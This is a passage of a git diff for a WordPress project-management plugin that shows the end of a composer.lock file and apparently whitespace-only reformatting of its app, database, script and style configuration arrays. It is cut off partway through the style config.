"dealerdirect/phpcodesniffer-composer-installer": "^0.5 || ^0.6", + "phpcompatibility/php-compatibility": "^9.0", + "phpcsstandards/phpcsdevtools": "^1.0", + "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" + }, + "suggest": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.6 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically." + }, + "type": "phpcodesniffer-standard", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Contributors", + "homepage": "https://github.com/WordPress/WordPress-Coding-Standards/graphs/contributors" + } + ], + "description": "PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions", + "keywords": [ + "phpcs", + "standards", + "wordpress" + ], + "support": { + "issues": "https://github.com/WordPress/WordPress-Coding-Standards/issues", + "source": "https://github.com/WordPress/WordPress-Coding-Standards", + "wiki": "https://github.com/WordPress/WordPress-Coding-Standards/wiki" + }, + "time": "2020-05-13T23:57:56+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": { + "tareq1988/wp-eloquent": 20 + }, + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "php": ">=5.6.37" + }, + "platform-dev": [], + "plugin-api-version": "2.3.0" +} diff --git a/config/app.php b/config/app.php index 8900acebe..9a4c4b66a 100644 --- a/config/app.php +++ b/config/app.php @@ -1,31 +1,31 @@ - 'Project Manager', - 'slug' => 'pm', - 'version' => '2.6.0', - 'api' => '2', - 'db_version' => '2.5', - 'text_domain' => 'pm', - 'comment_per_page' => 200, - 'allowed_html' => [ - 'a' => [ 'href' => [], 'title' => [] ], - 'br' => [], - 'em' => [], - 'strong' => [], - 'span' => [ - 'style' => [], - 'class' => [], - 'id' => [], - 'data-pm-user-id' => [], - 'data-pm-user' => [], - 'name' => [], - 'title' => [] - ], - 'b' => [], - 'em' => [], - 'p' => [], - 'code' => [], - 'pre' => [], - ] -]; + 'Project Manager', + 'slug' => 'pm', + 'version' => '2.6.0', + 'api' => '2', + 'db_version' => '2.5', + 'text_domain' => 'pm', + 'comment_per_page' => 200, + 'allowed_html' => [ + 'a' => [ 'href' => [], 'title' => [] ], + 'br' => [], + 'em' => [], + 'strong' => [], + 'span' => [ + 'style' => [], + 'class' => [], + 'id' => [], + 'data-pm-user-id' => [], + 'data-pm-user' => [], + 'name' => [], + 'title' => [] + ], + 'b' => [], + 'em' => [], + 'p' => [], + 'code' => [], + 'pre' => [], + ] +]; diff --git a/config/db.php b/config/db.php index 1593e4cd5..282562238 100644 --- a/config/db.php +++ b/config/db.php @@ -1,12 +1,12 @@ - 'mysql', - 'host' => pm_wp_config( 'DB_HOST' ), - 'database' => pm_wp_config( 'DB_NAME' ), - 'username' => pm_wp_config( 'DB_USER' ), - 'password' => pm_wp_config( 'DB_PASSWORD' ), - 'charset' => 'utf8mb4', - 'collation' => 'utf8mb4_unicode_ci', - 'prefix' => $wpdb->prefix, + 'mysql', + 'host' => pm_wp_config( 'DB_HOST' ), + 'database' => pm_wp_config( 'DB_NAME' ), + 'username' => pm_wp_config( 'DB_USER' ), + 'password' => pm_wp_config( 'DB_PASSWORD' ), + 'charset' => 'utf8mb4', + 'collation' => 'utf8mb4_unicode_ci', + 'prefix' => $wpdb->prefix, ]; \ No newline at end of file diff --git a/config/scripts.php b/config/scripts.php index 4f9b2e0a3..1a09e6c5f 100644 --- a/config/scripts.php +++ b/config/scripts.php @@ -1,291 +1,291 @@ - [ - 'id' => 'pm-config', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/bootstrap.js', - 'path' => $view_path . '/assets/vendor/bootstrap.js', - 'dependency' => ['jquery'], - 'in_footer' => true - ], - - 'pm-tiny-mce' => [ - 'id' => 'pm-tiny-mce', - 'url' => site_url( '/wp-includes/js/tinymce/tinymce.min.js' ), - 'dependency' => ['pm-config'], - 'in_footer' => true - ], - - 'pm-time-picker' => [ - 'id' => 'pm-time-picke', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/jquery-ui-timepicker/jquery-ui-timepicker.js', - 'path' => $view_path . '/assets/vendor/jquery-ui-timepicker/jquery-ui-timepicker.js', - 'dependency' => ['jquery-ui-datepicker','pm-tiny-mce'], - 'in_footer' => true - ], - - 'pm-jed' => [ - 'id' => 'pm-jed', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/i18n/jed.js', - 'path' => $view_path . '/assets/vendor/i18n/jed.js', - 'dependency' => ['pm-time-picke'], - 'in_footer' => true - ], - - 'pm-i18n' => [ - 'id' => 'pm-i18n', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/i18n/i18n.js', - 'path' => $view_path . '/assets/vendor/i18n/i18n.js', - 'dependency' => ['pm-jed'], - 'in_footer' => true - ], - - 'pm-vue' => [ - 'id' => 'pm-vue', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue/vue'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/vue/vue'.$suffix.'.js', - 'dependency' => ['pm-i18n'], - 'in_footer' => true - ], - - 'pm-vuex' => [ - 'id' => 'pm-vuex', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue/vuex'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/vue/vuex'.$suffix.'.js', - 'dependency' => ['pm-vue'], - 'in_footer' => true - ], - - 'pm-vue-router' => [ - 'id' => 'pm-vue-router', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue/vue-router'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/vue/vue-router'.$suffix.'.js', - 'dependency' => ['pm-vuex'], - 'in_footer' => true - ], - - 'pm-chart' => [ - 'id' => 'pm-chart', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/chart/chart'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/chart/chart'.$suffix.'.js', - 'dependency' => ['pm-vue-router'], - 'in_footer' => true - ], - - 'pm-chart-datalabels' => [ - 'id' => 'pm-chart-datalabels', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/chart/chart-datalabels.min.js', - 'path' => $view_path . '/assets/vendor/chart/chart-datalabels.min.js', - 'dependency' => ['pm-chart'], - 'in_footer' => true - ], - - 'pm-preloader' => [ - 'id' => 'pm-preloader', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/Elegant-Loading-Indicator/jquery.preloader'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/Elegant-Loading-Indicator/jquery.preloader'.$suffix.'.js', - 'dependency' => ['pm-chart-datalabels'], - 'in_footer' => true - ], - 'pm-moment' => [ - 'id' => 'pm-moment', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/moment/moment'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/moment/moment'.$suffix.'.js', - 'dependency' => ['pm-preloader'], - 'in_footer' => true - ], - 'pm-locale' => [ - 'id' => 'pm-locale', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/fullcalendar/locale-all.js', - 'path' => $view_path . '/assets/vendor/fullcalendar/locale-all.js', - 'dependency' => ['pm-moment'], - 'in_footer' => true - ], - 'pm-fullcalendar' => [ - 'id' => 'pm-fullcalendar', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/fullcalendar/fullcalendar'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/fullcalendar/fullcalendar'.$suffix.'.js', - 'dependency' => ['pm-moment'], - 'in_footer' => true - ], - - 'pm-fullcalendar-scheduler' => [ - 'id' => 'pm-fullcalendar-scheduler', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/scheduler/scheduler.min.js', - 'path' => $view_path . '/assets/vendor/scheduler/scheduler.min.js', - 'dependency' => ['pm-fullcalendar'], - 'in_footer' => true - ], - - 'pm-v-tooltip' => [ - 'id' => 'pm-v-tooltip', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/v-tooltip/v-tooltip.min.js', - 'path' => $view_path . '/assets/vendor/v-tooltip/v-tooltip.min.js', - 'dependency' => ['pm-fullcalendar-scheduler'], - 'in_footer' => true - ], - - 'pm-v-fullscreen' => [ - 'id' => 'pm-v-fullscreen', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js', - 'path' => $view_path . '/assets/vendor/vue-fullscreen/vue-fullscreen.min.js', - 'dependency' => ['pm-v-tooltip'], - 'in_footer' => true - ], - - 'pm-nprogress' => [ - 'id' => 'pm-nprogress', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/nprogress/nprogress'.$suffix.'.js', - 'path' => $view_path . '/assets/vendor/nprogress/nprogress'.$suffix.'.js', - 'dependency' => ['pm-v-tooltip', 'pm-locale', 'pm-v-fullscreen'], - 'in_footer' => true - ], - - 'pm-toastr' => [ - 'id' => 'pm-toastr', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/toastr/toastr.min.js', - 'path' => $view_path . '/assets/vendor/toastr/toastr.min.js', - 'dependency' => ['pm-nprogress'], - 'in_footer' => true - ], - - 'pm-vue-library' => [ - 'id' => 'pm-vue-library', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/js/library.js', - 'path' => $view_path . '/assets/js/library.js', - 'dependency' => ['pm-toastr'], - 'in_footer' => true - ], - - 'pm-pretty-photo' => [ - 'id' => 'pm-pretty-photo', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/pretty-photo/jquery.prettyPhoto.js', - 'path' => $view_path . '/assets/vendor/pretty-photo/jquery.prettyPhoto.js', - 'dependency' => ['pm-vue-library'], - 'in_footer' => true - ], - - 'pm-touch-punch' => [ - 'id' => 'pm-touch-punch', - 'path' => $view_path . '/assets/vendor/touch-punch/draggabilly.min.js', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/touch-punch/draggabilly.min.js', - 'dependency' => ['pm-pretty-photo'], - 'in_footer' => true - ], - - 'pm-date-range-picker' => [ - 'id' => 'pm-date-range-picker', - 'path' => $view_path . '/assets/vendor/daterangepicker/daterangepicker.js', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/daterangepicker/daterangepicker.js', - 'dependency' => ['pm-touch-punch'], - 'in_footer' => true - ], - - 'pm-tiptip' => [ - 'id' => 'pm-tiptip', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/tiptip/jquery.tipTip.min.js', - 'path' => $view_path . '/assets/vendor/tiptip/jquery.tipTip.min.js', - 'dependency' => ['pm-date-range-picker'], - 'in_footer' => true - ], - - // 'pm-slicknav' => [ - // 'id' => 'pm-slicknav', - // 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/slicknav/slicknav.min.js', - // 'path' => $view_path . '/assets/vendor/slicknav/slicknav.min.js', - // 'dependency' => ['pm-tiptip'], - // 'in_footer' => true - // ], - - 'pm-uploader' => [ - 'id' => 'pm-uploader', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/uploader/uploader.js', - 'path' => $view_path . '/assets/vendor/uploader/uploader.js', - 'dependency' => ['pm-tiptip'], - 'in_footer' => true - ], - - 'pm-const' => [ - 'id' => 'pm-const', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/const.js', - 'path' => $view_path . '/assets/vendor/const.js', - 'dependency' => [ - 'jquery', - 'underscore', - 'plupload-handlers', - 'jquery-ui-progressbar', - 'jquery-ui-datepicker', - 'jquery-ui-dialog', - 'jquery-ui-autocomplete', - 'jquery-ui-tooltip', - 'pm-tiny-mce', - 'jquery-ui-sortable', - 'jquery-touch-punch', - 'pm-uploader', - ], - 'in_footer' => true - ], - - 'pm' => [ - 'id' => 'pm-scripts', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/js/pm.js', - 'path' => $view_path . '/assets/js/pm.js', - 'dependency' => [ - 'pm-const' - ], - 'in_footer' => true - ], - - 'swiffy-slider' => [ - 'id' => 'swiffy-slider', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/vendor/swiffy-slider/swiffy-slider.min.js', - 'path' => dirname (__FILE__) . '/../core/Pro/assets/vendor/swiffy-slider/swiffy-slider.min.js', - 'dependency' => [ 'jquery' ], - 'in_footer' => true - ], - - 'swiffy-slider-extension' => [ - 'id' => 'swiffy-slider-extension', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/vendor/swiffy-slider/swiffy-slider-extensions.min.js', - 'path' => dirname (__FILE__) . '/../core/Pro/assets/vendor/swiffy-slider/swiffy-slider-extensions.min.js', - 'dependency' => [ 'jquery' ], - 'in_footer' => true - ], - - 'pmglobal' => [ - 'id' => 'pmglobal', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/js/pmglobal.js', - 'path' => $view_path . '/assets/js/pmglobal.js', - 'dependency' => [ - 'jquery', - 'jquery-ui-autocomplete', - ], - 'in_footer' => true - ] -]; - -//if ( ( version_compare( $wp_version, '5.0', '<' ) ) || ! is_admin() ) { - $pm_hooks = [ - 'pm-hooks' => [ - 'id' => 'pm-hooks', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/wp-hooks/pm-hooks.js', - 'path' => $view_path . '/assets/vendor/wp-hooks/pm-hooks.js', - 'dependency' => [], - 'in_footer' => true - ] - ]; - - $pm_scripts['pm-vue-library']['dependency'] = array_merge( [$pm_hooks['pm-hooks']['id']], $pm_scripts['pm-vue-library']['dependency'] ); - - $pm_scripts = array_merge( $pm_scripts, $pm_hooks ); -//} - -return $pm_scripts; - - - + [ + 'id' => 'pm-config', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/bootstrap.js', + 'path' => $view_path . '/assets/vendor/bootstrap.js', + 'dependency' => ['jquery'], + 'in_footer' => true + ], + + 'pm-tiny-mce' => [ + 'id' => 'pm-tiny-mce', + 'url' => site_url( '/wp-includes/js/tinymce/tinymce.min.js' ), + 'dependency' => ['pm-config'], + 'in_footer' => true + ], + + 'pm-time-picker' => [ + 'id' => 'pm-time-picke', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/jquery-ui-timepicker/jquery-ui-timepicker.js', + 'path' => $view_path . '/assets/vendor/jquery-ui-timepicker/jquery-ui-timepicker.js', + 'dependency' => ['jquery-ui-datepicker','pm-tiny-mce'], + 'in_footer' => true + ], + + 'pm-jed' => [ + 'id' => 'pm-jed', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/i18n/jed.js', + 'path' => $view_path . '/assets/vendor/i18n/jed.js', + 'dependency' => ['pm-time-picke'], + 'in_footer' => true + ], + + 'pm-i18n' => [ + 'id' => 'pm-i18n', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/i18n/i18n.js', + 'path' => $view_path . '/assets/vendor/i18n/i18n.js', + 'dependency' => ['pm-jed'], + 'in_footer' => true + ], + + 'pm-vue' => [ + 'id' => 'pm-vue', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue/vue'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/vue/vue'.$suffix.'.js', + 'dependency' => ['pm-i18n'], + 'in_footer' => true + ], + + 'pm-vuex' => [ + 'id' => 'pm-vuex', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue/vuex'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/vue/vuex'.$suffix.'.js', + 'dependency' => ['pm-vue'], + 'in_footer' => true + ], + + 'pm-vue-router' => [ + 'id' => 'pm-vue-router', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue/vue-router'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/vue/vue-router'.$suffix.'.js', + 'dependency' => ['pm-vuex'], + 'in_footer' => true + ], + + 'pm-chart' => [ + 'id' => 'pm-chart', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/chart/chart'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/chart/chart'.$suffix.'.js', + 'dependency' => ['pm-vue-router'], + 'in_footer' => true + ], + + 'pm-chart-datalabels' => [ + 'id' => 'pm-chart-datalabels', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/chart/chart-datalabels.min.js', + 'path' => $view_path . '/assets/vendor/chart/chart-datalabels.min.js', + 'dependency' => ['pm-chart'], + 'in_footer' => true + ], + + 'pm-preloader' => [ + 'id' => 'pm-preloader', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/Elegant-Loading-Indicator/jquery.preloader'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/Elegant-Loading-Indicator/jquery.preloader'.$suffix.'.js', + 'dependency' => ['pm-chart-datalabels'], + 'in_footer' => true + ], + 'pm-moment' => [ + 'id' => 'pm-moment', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/moment/moment'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/moment/moment'.$suffix.'.js', + 'dependency' => ['pm-preloader'], + 'in_footer' => true + ], + 'pm-locale' => [ + 'id' => 'pm-locale', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/fullcalendar/locale-all.js', + 'path' => $view_path . '/assets/vendor/fullcalendar/locale-all.js', + 'dependency' => ['pm-moment'], + 'in_footer' => true + ], + 'pm-fullcalendar' => [ + 'id' => 'pm-fullcalendar', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/fullcalendar/fullcalendar'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/fullcalendar/fullcalendar'.$suffix.'.js', + 'dependency' => ['pm-moment'], + 'in_footer' => true + ], + + 'pm-fullcalendar-scheduler' => [ + 'id' => 'pm-fullcalendar-scheduler', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/scheduler/scheduler.min.js', + 'path' => $view_path . '/assets/vendor/scheduler/scheduler.min.js', + 'dependency' => ['pm-fullcalendar'], + 'in_footer' => true + ], + + 'pm-v-tooltip' => [ + 'id' => 'pm-v-tooltip', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/v-tooltip/v-tooltip.min.js', + 'path' => $view_path . '/assets/vendor/v-tooltip/v-tooltip.min.js', + 'dependency' => ['pm-fullcalendar-scheduler'], + 'in_footer' => true + ], + + 'pm-v-fullscreen' => [ + 'id' => 'pm-v-fullscreen', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js', + 'path' => $view_path . '/assets/vendor/vue-fullscreen/vue-fullscreen.min.js', + 'dependency' => ['pm-v-tooltip'], + 'in_footer' => true + ], + + 'pm-nprogress' => [ + 'id' => 'pm-nprogress', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/nprogress/nprogress'.$suffix.'.js', + 'path' => $view_path . '/assets/vendor/nprogress/nprogress'.$suffix.'.js', + 'dependency' => ['pm-v-tooltip', 'pm-locale', 'pm-v-fullscreen'], + 'in_footer' => true + ], + + 'pm-toastr' => [ + 'id' => 'pm-toastr', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/toastr/toastr.min.js', + 'path' => $view_path . '/assets/vendor/toastr/toastr.min.js', + 'dependency' => ['pm-nprogress'], + 'in_footer' => true + ], + + 'pm-vue-library' => [ + 'id' => 'pm-vue-library', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/js/library.js', + 'path' => $view_path . '/assets/js/library.js', + 'dependency' => ['pm-toastr'], + 'in_footer' => true + ], + + 'pm-pretty-photo' => [ + 'id' => 'pm-pretty-photo', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/pretty-photo/jquery.prettyPhoto.js', + 'path' => $view_path . '/assets/vendor/pretty-photo/jquery.prettyPhoto.js', + 'dependency' => ['pm-vue-library'], + 'in_footer' => true + ], + + 'pm-touch-punch' => [ + 'id' => 'pm-touch-punch', + 'path' => $view_path . '/assets/vendor/touch-punch/draggabilly.min.js', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/touch-punch/draggabilly.min.js', + 'dependency' => ['pm-pretty-photo'], + 'in_footer' => true + ], + + 'pm-date-range-picker' => [ + 'id' => 'pm-date-range-picker', + 'path' => $view_path . '/assets/vendor/daterangepicker/daterangepicker.js', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/daterangepicker/daterangepicker.js', + 'dependency' => ['pm-touch-punch'], + 'in_footer' => true + ], + + 'pm-tiptip' => [ + 'id' => 'pm-tiptip', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/tiptip/jquery.tipTip.min.js', + 'path' => $view_path . '/assets/vendor/tiptip/jquery.tipTip.min.js', + 'dependency' => ['pm-date-range-picker'], + 'in_footer' => true + ], + + // 'pm-slicknav' => [ + // 'id' => 'pm-slicknav', + // 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/slicknav/slicknav.min.js', + // 'path' => $view_path . '/assets/vendor/slicknav/slicknav.min.js', + // 'dependency' => ['pm-tiptip'], + // 'in_footer' => true + // ], + + 'pm-uploader' => [ + 'id' => 'pm-uploader', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/uploader/uploader.js', + 'path' => $view_path . '/assets/vendor/uploader/uploader.js', + 'dependency' => ['pm-tiptip'], + 'in_footer' => true + ], + + 'pm-const' => [ + 'id' => 'pm-const', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/const.js', + 'path' => $view_path . '/assets/vendor/const.js', + 'dependency' => [ + 'jquery', + 'underscore', + 'plupload-handlers', + 'jquery-ui-progressbar', + 'jquery-ui-datepicker', + 'jquery-ui-dialog', + 'jquery-ui-autocomplete', + 'jquery-ui-tooltip', + 'pm-tiny-mce', + 'jquery-ui-sortable', + 'jquery-touch-punch', + 'pm-uploader', + ], + 'in_footer' => true + ], + + 'pm' => [ + 'id' => 'pm-scripts', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/js/pm.js', + 'path' => $view_path . '/assets/js/pm.js', + 'dependency' => [ + 'pm-const' + ], + 'in_footer' => true + ], + + 'swiffy-slider' => [ + 'id' => 'swiffy-slider', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/vendor/swiffy-slider/swiffy-slider.min.js', + 'path' => dirname (__FILE__) . '/../core/Pro/assets/vendor/swiffy-slider/swiffy-slider.min.js', + 'dependency' => [ 'jquery' ], + 'in_footer' => true + ], + + 'swiffy-slider-extension' => [ + 'id' => 'swiffy-slider-extension', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/vendor/swiffy-slider/swiffy-slider-extensions.min.js', + 'path' => dirname (__FILE__) . '/../core/Pro/assets/vendor/swiffy-slider/swiffy-slider-extensions.min.js', + 'dependency' => [ 'jquery' ], + 'in_footer' => true + ], + + 'pmglobal' => [ + 'id' => 'pmglobal', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/js/pmglobal.js', + 'path' => $view_path . '/assets/js/pmglobal.js', + 'dependency' => [ + 'jquery', + 'jquery-ui-autocomplete', + ], + 'in_footer' => true + ] +]; + +//if ( ( version_compare( $wp_version, '5.0', '<' ) ) || ! is_admin() ) { + $pm_hooks = [ + 'pm-hooks' => [ + 'id' => 'pm-hooks', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/vendor/wp-hooks/pm-hooks.js', + 'path' => $view_path . '/assets/vendor/wp-hooks/pm-hooks.js', + 'dependency' => [], + 'in_footer' => true + ] + ]; + + $pm_scripts['pm-vue-library']['dependency'] = array_merge( [$pm_hooks['pm-hooks']['id']], $pm_scripts['pm-vue-library']['dependency'] ); + + $pm_scripts = array_merge( $pm_scripts, $pm_hooks ); +//} + +return $pm_scripts; + + + diff --git a/config/style.php b/config/style.php index cb294a839..75a808661 100644 --- a/config/style.php +++ b/config/style.php @@ -1,157 +1,157 @@ - [ - 'id' => 'pm-vue-multiselect', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/vue-multiselect/vue-multiselect.min.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/vue-multiselect/vue-multiselect.min.css', - ], - 'pm-nprogress' => [ - 'id' => 'pm-nprogress', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/nprogress/nprogress.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/nprogress/nprogress.css', - ], - 'pm-fontawesome' => [ - 'id' => 'pm-fontawesome', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/fontawesome/font-awesome.min.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/fontawesome/font-awesome.min.css', - ], - 'pm-toastr' => [ - 'id' => 'pm-toastr', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/toastr/toastr.min.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/toastr/toastr.min.css', - ], - 'pm-fullcalendar' => [ - 'id' => 'pm-fullcalendar', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/jquery-fullcalendar/fullcalendar.min.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/jquery-fullcalendar/fullcalendar.min.css', - ], - 'pm-jquery-ui' => [ - 'id' => 'pm-jquery-ui', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/jquery-ui/jquery-ui-1.12.1.custom.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/jquery-ui/jquery-ui-1.12.1.custom.css', - ], - 'pm-pretty-photo' => [ - 'id' => 'pm-pretty-photo', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/pretty-photo/prettyPhoto.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/pretty-photo/prettyPhoto.css', - ], - 'pm-tiny-mce' => [ - 'id' => 'pm-tiny-mce', - 'url' => site_url( '/wp-includes/css/editor.css' ), - 'dependency' => false, - ], - 'pm-loading' => [ - 'id' => 'pm-loading', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/Elegant-Loading-Indicator/preloader.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/Elegant-Loading-Indicator/preloader.css', - ], - 'pm-autocomplete' => [ - 'id' => 'pm-loaautocompleteding', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/v-autocomplete/v-autocomplete.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/v-autocomplete/v-autocomplete.css', - ], - 'pm-tiptip' => [ - 'id' => 'pm-tiptip', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/tiptip/tipTip.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/tiptip/tipTip.css', - ], - 'pm-daterangepicker' => [ - 'id' => 'pm-daterangepicker', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/daterangepicker/daterangepicker.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/daterangepicker/daterangepicker.css', - ], - 'pm-v-tooltip' => [ - 'id' => 'pm-v-tooltip', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/v-tooltip/v-tooltip.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/v-tooltip/v-tooltip.css', - ], - 'pm-scheduler' => [ - 'id' => 'pm-scheduler', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/scheduler/scheduler.min.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/scheduler/scheduler.min.css', - ], - 'pm-new-style' => [ - 'id' => 'pm-new-style', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/pm-style.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/pm-style.css', - ], - 'pm-badge-styles' => [ - 'id' => 'pm-badge-styles', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/badge.css', - 'dependency' => false, - 'path' => dirname (__FILE__) . '/../core/Pro/assets/badge.css', - ], - 'pm-pro-styles' => [ - 'id' => 'pm-pro-styles', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/pro-styles.css', - 'dependency' => [ 'pm-new-style' ], - 'path' => dirname (__FILE__) . '/../core/Pro/assets/pro-styles.css', - ], - 'swiffy-slider' => [ - 'id' => 'swiffy-slider', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets//vendor/swiffy-slider/swiffy-slider.min.css', - 'dependency' => false, - 'path' => dirname (__FILE__) . '/../core/Pro/assets//vendor/swiffy-slider/swiffy-slider.min.css', - ], - 'pm-slicknav' => [ - 'id' => 'pm-slicknav', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/slicknav/slicknav.min.css', - 'dependency' => false, - 'path' => $view_path . '/assets/css/slicknav/slicknav.min.css', - ], - 'pm-const-style' => [ - 'id' => 'pm-const-style', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/const-style.css', - 'dependency' => false, - 'path' => $view_path . 